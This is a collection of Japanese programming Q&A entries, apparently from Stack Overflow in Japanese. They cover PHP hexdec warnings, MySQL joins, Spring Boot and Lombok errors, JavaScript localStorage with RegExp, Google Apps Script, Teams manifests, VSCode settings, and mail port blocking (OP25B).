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"body": "今回に限らないですが、まずはエラーメッセージや関数名で検索しましょう。\n\n`hexdec` の引数に16進数を表す値以外を渡した場合に表示される警告のようです。\n\n[hexdec](https://man.plustar.jp/php/function.hexdec.html)\n\n> `hexdec()` は、16 進数以外の文字を一切無視します。 PHP 7.4.0 以降では、無効な文字を与えることは推奨されません。\n>\n> **変更履歴**\n>\n> バージョン | 説明 \n> ---|--- \n> 7.4.0 | 無効な文字を与えると、非推奨の警告が出るようになりました。 \n> 結果は不正な文字がなかったかのように計算されます。 \n \n[How to Convert a Hexadecimal String to an Integer in\nPHP?](https://www.designcise.com/web/tutorial/how-to-convert-a-hexadecimal-\nstring-to-an-integer-in-php)\n\n通常の使い方:\n\n>\n```\n\n> var_dump(hexdec('4D2')); // int(12345)\n> var_dump(hexdec('04D2')); // int(12345)\n> var_dump(hexdec('0x4D2')); // int(12345)\n> var_dump(hexdec('0x04D2')); // int(12345)\n> \n```\n\n誤った引数を渡した場合:\n\n>\n```\n\n> // Deprecated: Invalid characters passed for attempted conversion, these\n> have been ignored\n> var_dump(hexdec('foobar'));\n> \n```",
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"body": "area_masterテーブル \n・id 1,area_nameカラム 東京 \n・id 2,area_nameカラム 名古屋 \n・id 3,area_nameカラム 大阪\n\nmainテーブル \n・id 1,area_idカラム 1 \n・id 2,area_idカラム 1 \n・id 3,area_idカラム 2\n\n上記内容だと、1対多なので普通の left joinでよいと思うのですが、 \n下記のようにmainテーブル内にある2つのカラムから、他のテーブルarea_masterを参照する場合でも、1対多になりますか? \n取得する場合の結合は、普通の left joinでよい?\n\nmainテーブル \n・id 1,area_a_idカラム 1,area_b_idカラム 1 \n・id 2,area_a_idカラム 1,area_b_idカラム 2 \n・id 3,area_a_idカラム 2,area_b_idカラム 3\n\n環境 \nMySQL 5.7",
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"title": "MySQLで、あるテーブルa内にある2つのカラムから、他のテーブルbを参照する場合は、1対多になりますか? left joinでよい?",
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"body": "[![質問文のER図](https://i.stack.imgur.com/UihMZ.png)](https://i.stack.imgur.com/UihMZ.png)\n\n多対1(外部結合を使うということは厳密には`0..1`かと思いますが)が2つある状態です。 \n外部結合を2回行えばよいです。\n\n```\n\n select * from main m\n left join area_master a on m.area_a_id = a.id\n left join area_master b on m.area_b_id = b.id\n \n```\n\n[playground link](https://www.db-fiddle.com/f/kPhWtzLQJPs1D6S9ZjYHMx/1)",
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"body": "Android\nStudioが起動できず、以前このサイトでされていた質問を参考にやってみようと思ったのですが、パスというものに対する理解が浅いのでこれであっているかわからないのでお教え願いたいです。 \n機材はM1Macです\n\n/Applications/Android Studio.app/Contents/MacOS",
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"title": "Android Studioを起動するためにパスを通したいが今通そうとしているものであっているかがわからない",
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"body": "以下のページを参考にコードを書いておりました。\n\n[【Spring Boot】PostgreSQLに接続してDBのデータを取得する【Spring Boot ハンズオン第2回】](https://uha-\nblog.com/java/spring-boot-postgresql/)\n\n`http://localhost:8080/book-list` にブラウザからアクセスすると次のエラーが出ます。\n\n```\n\n EL1008E: Property or field 'id' cannot be found on object of type 'com.uhablog.model.Book' - maybe not public or not valid?\n \n```\n\n### 試したこと\n\n 1. html内の`<td th:text=\"*{id}\"></td>を<td th:text=\"*{book.id}\"></td>`のように変更する \n→`EL1008E: Property or field 'id' cannot be found on object of type\n'com.uhablog.model.Book' - maybe not public or not valid?`\n\n 2. Book.java内のフィールドをprivateからpublicへ変更する \n→期待通りのページが表示される\n\n[Accessing Data with JPA](https://spring.io/guides/gs/accessing-data-\njpa/)でもprivateとしており、なぜpublicではエラーが出るのかわからないためアドバイスをいただきたいです。\n\n環境: \nOS: Windows11 \nEditor: Eclipse \nBrowser: Google Chrome\n\n**追記** \nコードは以下の通りです。\n\nBook.java\n\n```\n\n @Data\n @Entity\n @Table(name = \"booksinfo\")\n public class Book {\n \n @Id\n @GeneratedValue(strategy = GenerationType.IDENTITY)\n @Column(name = \"id\")\n // 本のidを保持するフィールド\n private Integer id;\n \n @Column(name = \"title\")\n // 本のタイトルを保持するフィールド\n private String title;\n \n @Column(name = \"price\")\n // 本の値段を保持するフィールド\n private Integer price;\n }\n \n```\n\nBookRepository.java\n\n```\n\n public interface BookRepository extends\n JpaRepository<Book, Integer> {\n }\n \n```\n\nBookService.java\n\n```\n\n @Service\n @Transactional\n public class BookService {\n \n @Autowired\n BookRepository repository;\n \n /**\n * データベースから本の一覧を取得する\n * \n * @return\n */\n public List<Book> findAll() {\n return repository.findAll();\n }\n }\n \n```\n\nBookController.java\n\n```\n\n @Controller\n public class BookController {\n \n @Autowired\n BookService service;\n \n @GetMapping(\"/book-list\")\n public String bookList(Model model) {\n \n // serviceを使って、本の一覧をDBから取得する\n List<Book> bookList = service\n .findAll();\n // modelに本の一覧を設定して、画面に渡す\n model.addAttribute(\"bookList\",\n bookList);\n // bookList.htmlの表示\n return \"bookList\";\n }\n }\n \n```",
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"title": "エラーEL1008E: Property or field 'id' cannot be found on object of type がでる",
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{
"body": "おそらく`Book` のフィールドに対する getter が実装されていないのでしょう。 \nリンク先のコードでいうと\n\n```\n\n @Data\n @Entity\n @Table(name = \"booksinfo\")\n public class Book {\n // 後略\n \n```\n\nの、 [`@Data`](https://projectlombok.org/features/Data) を書き漏らしているのではないでしょうか。\n\n* * *\n\n問題が再現するコードを載せるべきです。 \nリンク先サイトの通りに実装できているのであればエラー無く実行できるはずなので、問題は質問者が実装したコードにあるはずです。それ無しに参考元(正しいコード)だけ示されても普通はわかりません。 \n(もう少しいうと、質問文が推敲されていないように思われます)\n\n* * *\n\nLombok\nの[セットアップがEclipse](https://projectlombok.org/setup/eclipse)に対して行われていないのだ考えられます。 \n[質問文中にあるリンク先の解説](https://uha-blog.com/java/eclipse-install/)では Pleiades All in\nOne を利用しているようですが、おそらくこのパッケージには最初からLombokが入っているのでしょう。 \n素の Eclipse では自身でセットアップする必要があります。\n\n検索すると日本語解説もヒットする([例](https://qiita.com/ponsuke0531/items/c2dac01e444f510310ae))ので、それらを参考にして、EclipseにLombokをセットアップしてください。\n\n 1. [`lombok.jar`](https://projectlombok.org/download) をダウンロードする\n 2. `java -jar lombok.jar` コマンドでインストールダイアログを起動する\n 3. eclipse のディレクトリを指定してセットアップ処理を実行する",
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{
"body": "1. Lombokがインストールされているか確認する\n 2. @Dataを@Setter, @Getterで書き換えてみる\n 3. Setter, Getterを@Dataに戻す\n 4. Outline Viewにセッター、ゲッターが表示されればOK",
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"body": "下記の質問の流れから新しいスレッドを立てさせていただきます。 \n[データベースに登録できません](https://ja.stackoverflow.com/questions/94722/%e3%83%87%e3%83%bc%e3%82%bf%e3%83%99%e3%83%bc%e3%82%b9%e3%81%ab%e7%99%bb%e9%8c%b2%e3%81%a7%e3%81%8d%e3%81%be%e3%81%9b%e3%82%93/94871?noredirect=1#comment108529_94871)\n\nSpring Framework 超入門 という参考書を参考にJava Spring bootの勉強をしているのですが \nEclipseで作成したQuizファイルのQuizApplicationからpgAdminで作成したquizdb/schemas/public/tableを右クリックして作成したQuizテーブルにクイズの問題を登録するコードをEclipseのQuizファイルのQuizApplicationを右クリックして実行の箇所のspring\nboot\nアプリケーションをクリックして実行を行いましたが、pgAdminのQuizテーブルで登録したクイズを確認しようとするためにquizdb/schemas/public/table/quizを右クリックして下から二番目にある、QueryToolをクリックして中身を確認しようとしたのですが、登録されたクイズを確認できませんでした。 \n[![画像の説明をここに入力](https://i.stack.imgur.com/dt8vb.png)](https://i.stack.imgur.com/dt8vb.png)\n\n対してEclipseからQuiz.Applicationというクイズの登録を行うファイルをSpringboot実行によって、実行させますと、下記の実行結果が得られました。\n\n```\n\n [2m2023-05-20T03:18:55.489+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mcom.example.quiz.QuizApplication [0;39m [2m:[0;39m No active profile set, falling back to 1 default profile: \"default\"\n [2m2023-05-20T03:18:55.540+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36m.e.DevToolsPropertyDefaultsPostProcessor[0;39m [2m:[0;39m Devtools property defaults active! Set 'spring.devtools.add-properties' to 'false' to disable\n [2m2023-05-20T03:18:55.540+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36m.e.DevToolsPropertyDefaultsPostProcessor[0;39m [2m:[0;39m For additional web related logging consider setting the 'logging.level.web' property to 'DEBUG'\n [2m2023-05-20T03:18:56.034+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36m.s.d.r.c.RepositoryConfigurationDelegate[0;39m [2m:[0;39m Bootstrapping Spring Data JDBC repositories in DEFAULT mode.\n [2m2023-05-20T03:18:56.078+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36m.s.d.r.c.RepositoryConfigurationDelegate[0;39m [2m:[0;39m Finished Spring Data repository scanning in 38 ms. Found 1 JDBC repository interfaces.\n [2m2023-05-20T03:18:56.543+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mo.s.b.w.embedded.tomcat.TomcatWebServer [0;39m [2m:[0;39m Tomcat initialized with port(s): 8080 (http)\n [2m2023-05-20T03:18:56.553+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mo.apache.catalina.core.StandardService [0;39m [2m:[0;39m Starting service [Tomcat]\n [2m2023-05-20T03:18:56.553+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mo.apache.catalina.core.StandardEngine [0;39m [2m:[0;39m Starting Servlet engine: [Apache Tomcat/10.1.8]\n [2m2023-05-20T03:18:56.604+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mo.a.c.c.C.[Tomcat].[localhost].[/] [0;39m [2m:[0;39m Initializing Spring embedded WebApplicationContext\n [2m2023-05-20T03:18:56.604+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mw.s.c.ServletWebServerApplicationContext[0;39m [2m:[0;39m Root WebApplicationContext: initialization completed in 1063 ms\n [2m2023-05-20T03:18:56.700+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mcom.zaxxer.hikari.HikariDataSource [0;39m [2m:[0;39m HikariPool-1 - Starting...\n [2m2023-05-20T03:18:56.859+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mcom.zaxxer.hikari.pool.HikariPool [0;39m [2m:[0;39m HikariPool-1 - Added connection org.postgresql.jdbc.PgConnection@7d1ba0f2\n [2m2023-05-20T03:18:56.860+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mcom.zaxxer.hikari.HikariDataSource [0;39m [2m:[0;39m HikariPool-1 - Start completed.\n [2m2023-05-20T03:18:56.991+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mo.s.b.d.a.OptionalLiveReloadServer [0;39m [2m:[0;39m LiveReload server is running on port 35729\n [2m2023-05-20T03:18:57.391+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mo.s.b.w.embedded.tomcat.TomcatWebServer [0;39m [2m:[0;39m Tomcat started on port(s): 8080 (http) with context path ''\n [2m2023-05-20T03:18:57.398+09:00[0;39m [32m INFO[0;39m [35m5708[0;39m [2m---[0;39m [2m[ restartedMain][0;39m [36mcom.example.quiz.QuizApplication [0;39m [2m:[0;39m Started QuizApplication in 2.243 seconds (process running for 3.056)\n --- 全件取得開始 ----\n Quiz(id=1, question=「Spring」はフレームワークですか?, answer=true, author=登録太郎)\n Quiz(id=2, question=「Spring MVC」はバッチ処理機能を提供しますか?, answer=false, author=登録太郎)\n --- 全件取得完了 ---\n \n```\n\n実行結果を確認しますと登録されているように見えます。 \npgAdminで確認できなくても学習を進めても大丈夫でしょうか?\n\n・QuizApplication.java\n\n```\n\n package com.example.quiz;\n \n import java.util.ArrayList;\n import java.util.List;\n import java.util.Optional;\n \n import org.springframework.beans.factory.annotation.Autowired;\n import org.springframework.boot.SpringApplication;\n import org.springframework.boot.autoconfigure.SpringBootApplication;\n import org.springframework.web.bind.annotation.GetMapping;\n import org.springframework.web.bind.annotation.RestController;\n \n import com.example.quiz.entity.Quiz;\n import com.example.quiz.repository.QuizRepository;\n \n @SpringBootApplication\n public class QuizApplication {\n /** 起動メソッド */\n public static void main(String[] args) {\n SpringApplication.run(QuizApplication.class, args)\n .getBean(QuizApplication.class).execute();\n }\n /** 注入 */\n @Autowired\n QuizRepository repository;\n /** 実行メソッド */\n private void execute() {\n //登録処理\n //setup();\n //全件取得\n showList();\n //1件取得\n //showOne();\n //更新処理\n //updateQuiz();\n //削除処理\n //deleteQuiz();\n }\n /** === クイズを2件登録します === */\n private void setup() {\n //エンティティ生成\n Quiz quiz1 = new Quiz(null, \"「Spring」はフレームワークですか?\", true, \"登録太郎\");\n //登録実行\n quiz1 = repository.save(quiz1);\n //登録確認\n System.out.println(\"登録したデータは、\" + quiz1 + \"です。\");\n //エンティティ生成\n Quiz quiz2 = new Quiz(null, \"「Spring MVC」はバッチ処理機能を提供しますか?\", false, \"登録太郎\");\n //登録実行\n quiz2 = repository.save(quiz2);\n //登録確認\n System.out.println(\"登録したデータは、\" + quiz2 + \"です。\");\n }\n \n /** === 前権取得 === */\n private void showList() {\n System.out.println(\"--- 全件取得開始 ----\");\n // リポジトリを仕様して前権取得を実施、結果を取得\n Iterable<Quiz> quizzes = repository.findAll();\n for (Quiz quiz : quizzes) {\n System.out.println(quiz);\n }\n System.out.println(\"--- 全件取得完了 ---\");\n }\n \n /** === 1件取得 === */\n private void showOne() {\n System.out.println(\"--- 1件取得開始 ---\");\n //リポジトリを使用して1件取得を実施、結果を取得(戻り値はOptional)\n Optional<Quiz> quizOpt = repository.findById(1);\n //値存在チェック\n if (quizOpt.isPresent()) {\n System.out.println(quizOpt.get());\n } else {\n System.out.println(\"該当する問題が存在しません・・・\");\n }\n System.out.println(\"--- 1件取得完了 ---\");\n }\n \n /** === 更新処理 === */\n private void updateQuiz() {\n System.out.println(\"--- 更新処理開始 ---\");\n //更新したいエンティティを生成する\n Quiz quiz1 = new Quiz(1, \"「スプリング」はフレームワークですか?\", true, \"変更タロウ\");\n //更新実行\n quiz1 = repository.save(quiz1);\n //更新確認\n System.out.println(\"更新したデータは、\" + quiz1 + \"です。\");\n System.out.println(\"--- 更新処理完了 ---\");\n }\n \n /** === 削除処理 === */\n private void deleteQuiz() {\n System.out.println(\"--- 削除処理開始 ---\");\n // 削除実行\n repository.deleteById(4);\n System.out.println(\"--- 削除処理完了 ---\");\n }\n \n @RestController\n public class MyController {\n \n @Autowired\n private QuizRepository quizRepository;\n \n @GetMapping\n List<Quiz> index() {\n Iterable<Quiz> quizList = quizRepository.findAll();\n ArrayList<Quiz> result = new ArrayList<>();\n quizList.forEach(result::add);\n return result;\n }\n }\n }\n \n```\n\n実行環境 \nEclipse 日本語版2022年度 \nJava11 \nPostgres15",
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"title": "pgAdminで作成したテーブルにEclipseから登録した際の確認方法",
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"body": "`QueryTool`画面を開いた状態であれば、\n\n> `select * from quiz`\n\nと入力し、実行(▶︎アイコン)することで、レコードが表示されないでしょうか?",
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"body": "複数の文字列のいずれかにマッチするパターンを記述する \n<https://www.javadrive.jp/javascript/regexp/index12.html>\n\nこのサイトを参考にしたところ、求めていることが出来たのですが、検索する単語をローカルストレージに保存して、呼び出そうとすると失敗してしまいます。\n\n```\n\n var SearchWord = /hoge/;\n localStorage.setItem(\"key\", SearchWord);\n var SearchWord = localStorage.getItem(\"key\");\n console.log(SearchWord.test('TesthogeTest'));\n \n```\n\n`VM213:4 Uncaught TypeError: SearchWord.test is not a function`\n\n```\n\n var SearchWord = /hoge/;\n console.log(SearchWord.test('TesthogeTest'));\n \n```\n\n`true`\n\nどのようにすれば良いでしょうか。",
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"title": "JavaScriptで単語一致",
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"body": "[`localStorage`の説明](https://developer.mozilla.org/ja/docs/Web/API/Window/localStorage#%E8%AA%AC%E6%98%8E)に\n\n> `localStorage` に保存されるキーと値は常に UTF-16 文字列 (1 文字に 2 バイトを使用する)\n> になります。オブジェクトと同様に、整数のキーは自動的に文字列に変換されます。\n\nとあるように文字列に変換されます。\n\n>\n```\n\n> var SearchWord = /hoge/;\n> localStorage.setItem(\"key\", SearchWord);\n> \n```\n\nにおいて `SearchWord`\nは文字列でなく[`RegExp`オブジェクト](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/RegExp)ですから文字列化されることを意識する必要があります。\n\n```\n\n var SearchWord = /hoge/;\n localStorage.setItem(\"key\", SearchWord.source);\n var SearchWord = new RegExp(localStorage.getItem(\"key\"));\n \n```",
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"body": "お世話になります。 \n以下のシステムをChatGPTを使用してコードを作成して業務効率化を試みています。 \nどなたかわかる方がおられましたらご回答を頂ければ幸いです。 \n以上、何卒宜しくお願い致します。\n\n目標:Google Formが送信されたらそのデータをSSのテンプレートに入力し、 **テンプレートの表をメール本文にコピペして**\n任意の宛先にメールを自動送付したい\n\n結果: **太字部分** に関してテンプレートの表はコピペ出来たがフォーマットのセルの幅や罫線の表示やセル結合が崩れてしまう。\n\nChatGPTで作成したコードで、エラーメッセージを入れてコードの修正を試みたが、うまく行かなかった\n\nコード(1の **太字部分** について抜粋)\n\n```\n\n // スプレッドシートの範囲を取得\n var range = sheet.getRange('A1:F27');\n \n // 範囲を取得したデータを配列にする\n var values = range.getValues();\n \n // メール本文に貼り付けるHTMLを作成\n var tableHtml = '<table style=\"border-collapse: collapse; border: 1px solid black;\">';\n for (var i = 0; i < values.length; i++) {\n tableHtml += '<tr>';\n for (var j = 0; j < values[i].length; j++) {\n tableHtml += '<td style=\"border: 1px solid black; padding: 5px;\">' + values[i][j] + '</td>';\n }\n tableHtml += '</tr>';\n }\n tableHtml += '</table>';\n \n```",
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"title": "GASでテンプレートの表をコピーしてメール本文に貼り付けたいです。",
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"body": "開発中のアプリを起動すると以下のエラーが出るようになってしまいました。\n\n```\n\n configurableTabs[0].configurationUrl | String \"\" does not match regex pattern \"^[Hh][Tt][Tt][Pp][Ss]?://\".\n \n```\n\n(思い当たる節は、「アプリ機能」>ボット > 「ユーザーがこのコマンドを使用できるようにする範囲を選択してください」にて、「Group\nChat」のチェックを付け外ししたくらい?)\n\n開発者ポータルでマニフェストを見ると下記の記載があり、`configurationUrl`部分が空文字になっているのが原因だと思いました。\n\n```\n\n \"configurableTabs\": [\n {\n \"configurationUrl\": \"\",\n \"canUpdateConfiguration\": false,\n \"scopes\": [\n \"team\"\n ]\n }\n ],\n \n```\n\nマニフェストから`configurableTabs`を削除したいのですが、どうしたらいいでしょうか? \n「アプリの機能」は個人用アプリ(タブ)とボットを指定しいます。",
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"title": "開発中のMs Teamsアプリを起動するとconfigurableTabs[0].configurationUrl | String \"\" does not match regex pattern \"^[Hh][Tt][Tt][Pp][Ss]?://\"",
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"body": "# 状況\n\nPythonを使ったデータ分析関連。Pandas-Profilingを使おうとしてます。 \nPandas-Profilingに渡すデータを作るのにsklearnを使おうとしたんですが、そこでpylanceがエラーを吐く。でも、実行できます。\n\n**と、思ったら、実際にPandas-Profilingにデータを渡して実行するとipython側でエラーが出ます。 \n先ほどColabでも試してみたところこちらは普通に実行できました。謎です。** \n5/22追記 太字になっている内容は解決済みです\n\n[![colabでの実行画面](https://i.stack.imgur.com/lFD4x.png)](https://i.stack.imgur.com/lFD4x.png)\n\n# 原始コード実況中継\n\nモジュールがちゃんと導入できてないって線はない…はず。\n\n```\n\n import pandas as pd\n from sklearn.datasets import fetch_california_housing\n from pandas_profiling import ProfileReport\n \n```\n\n* * *\n```\n\n CH = fetch_california_housing()\n df = pd.DataFrame(CH.data, columns= CH.feature_names)\n df['MedHouseVal'] = CH.target\n df.head(3)\n \n```\n\nここで実行。pylanceはCH配下にdata、feature_names、targetなんてねえよ!って怒ってます。\n\n```\n\n profile_df = ProfileReport(df, explorative=True)\n profile_df.to_file(\"profile_df.html\")\n profile_df\n \n```\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/gF1To.png)](https://i.stack.imgur.com/gF1To.png)\n\nエラー。ModuleNotFoundError: No module named 'ipywidgets' \nちょっとよくわかりません。\n\n# 環境\n\nVSCodeにJupyter Notebookを突っ込んで実行してます。 \nOSはWSL on Ubuntuです。\n\n## VSCode\n\nバージョン: 1.78.2 (user setup) \nElectron: 22.5.2 \nChromium: 108.0.5359.215 \nNode.js: 16.17.1 \nV8: 10.8.168.25-electron.0\n\n## Python\n\nPython 3.8.10 (default, Mar 13 2023, 10:26:41) \n[GCC 9.4.0]\n\n## Jupyter\n\n2020/11/12 4:14:18 \n前回のリリース日 \n2023/5/19 18:27:22 \n最終更新 \n2023/5/5 11:35:36 \n識別子 \nms-toolsai.jupyter\n\n## ubuntu\n\nUbuntu 20.04.6 LTS \\n \\l\n\n## WSL\n\nWSL バージョン: 1.2.5.0 \nカーネル バージョン: 5.15.90.1 \nWSLg バージョン: 1.0.51 \nMSRDC バージョン: 1.2.3770 \nDirect3D バージョン: 1.608.2-61064218 \nDXCore バージョン: 10.0.25131.1002-220531-1700.rs-onecore-base2-hyp \nWindows バージョン: 10.0.22621.1702\n\n## python modules\n\n```\n\n Package Version\n ---------------------- --------------------\n asttokens 2.2.1\n attrs 19.3.0\n Automat 0.8.0\n backcall 0.2.0\n blinker 1.4\n certifi 2019.11.28\n chardet 3.0.4\n charset-normalizer 3.1.0\n Click 7.0\n cloud-init 23.1.2\n colorama 0.4.3\n comm 0.1.3\n command-not-found 0.3\n configobj 5.0.6\n constantly 15.1.0\n contourpy 1.0.7\n cryptography 2.8\n cycler 0.11.0\n dbus-python 1.2.16\n debugpy 1.6.7\n decorator 5.1.1\n distro 1.4.0\n distro-info 0.23ubuntu1\n entrypoints 0.3\n executing 1.2.0\n fonttools 4.39.4\n htmlmin 0.1.12\n httplib2 0.14.0\n hyperlink 19.0.0\n idna 2.8\n ImageHash 4.3.1\n importlib-metadata 6.6.0\n importlib-resources 5.12.0\n incremental 16.10.1\n ipykernel 6.23.1\n ipython 8.12.2\n japanize-matplotlib 1.1.3\n jedi 0.18.2\n Jinja2 3.1.2\n joblib 1.2.0\n jsonpatch 1.22\n jsonpointer 2.0\n jsonschema 3.2.0\n jupyter_client 8.2.0\n jupyter_core 5.3.0\n keyring 18.0.1\n kiwisolver 1.4.4\n language-selector 0.1\n launchpadlib 1.10.13\n lazr.restfulclient 0.14.2\n lazr.uri 1.0.3\n MarkupSafe 2.1.2\n matplotlib 3.6.3\n matplotlib-inline 0.1.6\n more-itertools 4.2.0\n multimethod 1.9.1\n nest-asyncio 1.5.6\n netifaces 0.10.4\n networkx 3.1\n numpy 1.23.5\n oauthlib 3.1.0\n packaging 23.1\n pandas 1.5.3\n pandas-profiling 3.6.6\n parso 0.8.3\n patsy 0.5.3\n pexpect 4.6.0\n phik 0.12.3\n pickleshare 0.7.5\n Pillow 9.5.0\n pip 23.1.2\n platformdirs 3.5.1\n prompt-toolkit 3.0.38\n psutil 5.9.5\n pure-eval 0.2.2\n pyasn1 0.4.2\n pyasn1-modules 0.2.1\n pydantic 1.10.7\n Pygments 2.15.1\n PyGObject 3.36.0\n PyHamcrest 1.9.0\n PyJWT 1.7.1\n pymacaroons 0.13.0\n PyNaCl 1.3.0\n pyOpenSSL 19.0.0\n pyparsing 3.0.9\n pyrsistent 0.15.5\n pyserial 3.4\n python-apt 2.0.1+ubuntu0.20.4.1\n python-dateutil 2.8.2\n python-debian 0.1.36ubuntu1\n pytz 2023.3\n PyWavelets 1.4.1\n PyYAML 5.3.1\n pyzmq 25.0.2\n requests 2.28.2\n requests-unixsocket 0.2.0\n scikit-learn 1.2.2\n scipy 1.9.3\n seaborn 0.12.2\n SecretStorage 2.3.1\n service-identity 18.1.0\n setuptools 45.2.0\n simplejson 3.16.0\n six 1.14.0\n sos 4.4\n ssh-import-id 5.10\n stack-data 0.6.2\n statsmodels 0.13.5\n systemd-python 234\n tangled-up-in-unicode 0.2.0\n threadpoolctl 3.1.0\n tornado 6.3.2\n tqdm 4.64.1\n traitlets 5.9.0\n Twisted 18.9.0\n typeguard 2.13.3\n typing_extensions 4.5.0\n tzdata 2023.3\n ubuntu-advantage-tools 8001\n ufw 0.36\n unattended-upgrades 0.1\n urllib3 1.25.8\n visions 0.7.5\n wadllib 1.3.3\n wcwidth 0.2.6\n wheel 0.40.0\n ydata-profiling 4.1.2\n zipp 3.15.0\n zope.interface 4.7.1\n \n```\n\n# 5/22追記\n\nご指摘の通りipywidgetsを導入してみたのですが、また別のエラーが出ました。 \n[![エラー](https://i.stack.imgur.com/M593W.png)](https://i.stack.imgur.com/M593W.png)\n\n## 5/22追追記\n\nkunifさんのご指示の通り、パッケージの更新を行ったところエラーが消えました! \nしかし、依然としてpylanceのエラーは出続けています… \n実行する分には問題ないですがさすがに放置というには…",
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"title": "VSCode上のJupyter Notebookで、sklearn配下のメンバーを呼び出そうとすると静的解析ではエラーが出るけど実行できる",
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"body": "VSCodeの処理結果を\"出力\"から\"ターミナル\"へ変更したい\n\nVSCodeの処理結果が、\"出力\"で日本語が文字化けするので、\"ターミナル\"で処理結果が見えるようにしたいです。 \n検索エンジンでうまく探せなかったので、教えて下さい。\n\nユーザ設定→設定→ この先が知りたいです。",
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"title": "VSCodeの処理結果を出力からターミナルへ変更したい",
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"body": "VS Codeの, 何らかの拡張機能(extension)を利用しているのでしょう \nそれを質問に記していないと分かりません\n\n設定項目の一覧は\n\n * アクティビティーバーの「拡張機能」から当該拡張を選ぶ \n * 出てきた画面のタブの中の「機能のコントリビューション」を選ぶと設定などの情報が得られる\n * 「設定」内の「拡張機能」から該当する拡張機能を選ぶと その付近の設定が現れる\n\n仮に [Code\nRunner](https://marketplace.visualstudio.com/items?itemName=formulahendry.code-\nrunner)もしくはそれを元にした拡張だとするなら\n\n`code-runner.runInTerminal` を `true` にすれば統合ターミナルに出力されるはず\n\n他の拡張であれば, 質問にその旨記したほうがよいでしょう",
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"body": "結論ですが、ターミナルで画面表示することができたので、解決しました。\n\n尚、今回の質問の起点は、VSCodeでKotlinプログラム処理すると、日本語の文字化けして画面表示される事です。\n\n尚、chcp65001、settings.jsonの書き換え等、Web上の参考記事を一通り試した結果、VSCode処理で日本語の文字化けが解決出来なかった事も、お伝えさせて頂きます。\n\nこの書き込みをもちまして、この質問をクローズとさせて頂きます。\n\n皆さま、又、ご教示のほど、よろしくお願いします。",
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"body": "OP25B(Outbound port 25 Blocking)について、教えてください。\n\nある 25番ポートの制限がかかったIaaSでメールサーバーを立てようとしています。 \nリレーが無いとメール送信が出来ないと言われました。 \nここで疑問が2つあります。\n\n 1. 587番ポートや465番ポートが使える場合は、587 -> 587 といった通信をすると思っていましたが間違っていますでしょうか?587 -> 25でしょうか?\n 2. OP25Bの現状は、25番ポートが使えないとメール配達がほぼ出来ない状態にも関わらず「とりあえず制限している」状態でしょうか?",
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"title": "メール送信の方式と、OP25Bの現状について",
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"body": "> 1. 587番ポートや465番ポートが使える場合は、587 -> 587 といった通信をすると思っていましたが間違っていますでしょうか?587 ->\n> 25でしょうか?\n>\n\n通常、メールサーバーが別のメールサーバーにメールを送信する場合、次のようなポートが使われます。\n\n * 送信元ポート: OSで設定されている大きめなランダムなポート(一般的なLinuxの設定では32768から60999)\n * 送信先ポート: 25\n\nOP25Bは、送信元ポートは関係無く、送信先ポートが25番である通信(例えば、45678 -> 25といったもの)を全て遮断するというものです。\n\nOP25Bの環境でも、465番や587番への送信は可能です。ですが、一般的なメールサーバーでは次のようになっています。\n\n * 587番はそのサーバーの利用者向けのSubmissionポートとして用意されており、サーバーがメールを受信する条件として認証が必須となっています。他のメールサーバーからメールを受信できるようにはなっていません。\n * 465番はSSL/TLSなSMTP(25や587はSTARTTLSは可能だが、最初はプレーン)として設定されていますが、RFCでの扱いも二転三転しているため、全てのメールサーバーで提供されているとは限りません。また、最新のRFCでは587と同様にSubimissionとして使うべきとされているため、認証が必須になっている事があります。\n\n465番と587番へ送信可能であると言っても、送りたい側のメールサーバーが受け付けることができないと言うことが度々発生する可能性が高いため、通常のメールサーバーのようにメールを送信できると期待することはできません。\n\n> 2. OP25Bの現状は、25番ポートが使えないとメール配達がほぼ出来ない状態にも関わらず「とりあえず制限している」状態でしょうか?\n>\n\nOP25Bの制限はスパム業者に悪用されないためです。最初は乗っ取られらた一般ユーザーのパソコンがメールを送信するのを防ぐために家庭向けのプロバイダーでOP25Bが活用されていました。EC2等のIaaSが普及して、手軽にメールサーバーを立てられるようになると、今度はそれらをスパム業者が悪用するようになったため、同様にOP25Bを設定するところが増えてきたと言うことです。(サービスによっては固定IPにすることで制限が解除されたりします。)\n\n* * *\n\n単にメールを送信したいとう場合は依存のメールサービスを利用した方が無難です。メールサービスを構築したいというのであれば、OP25Bが設定されていないサービスを探すしかないです。",
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"body": "例:シート1のセルの値とシート2のセルの値を比較して同じ場合、そのセルにある画像を取得し、シート1のセルに貼り付けることは可能でしょうか。",
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"title": "GAS セルの画像を取得し、別のセルに貼りつけることはできますか?",
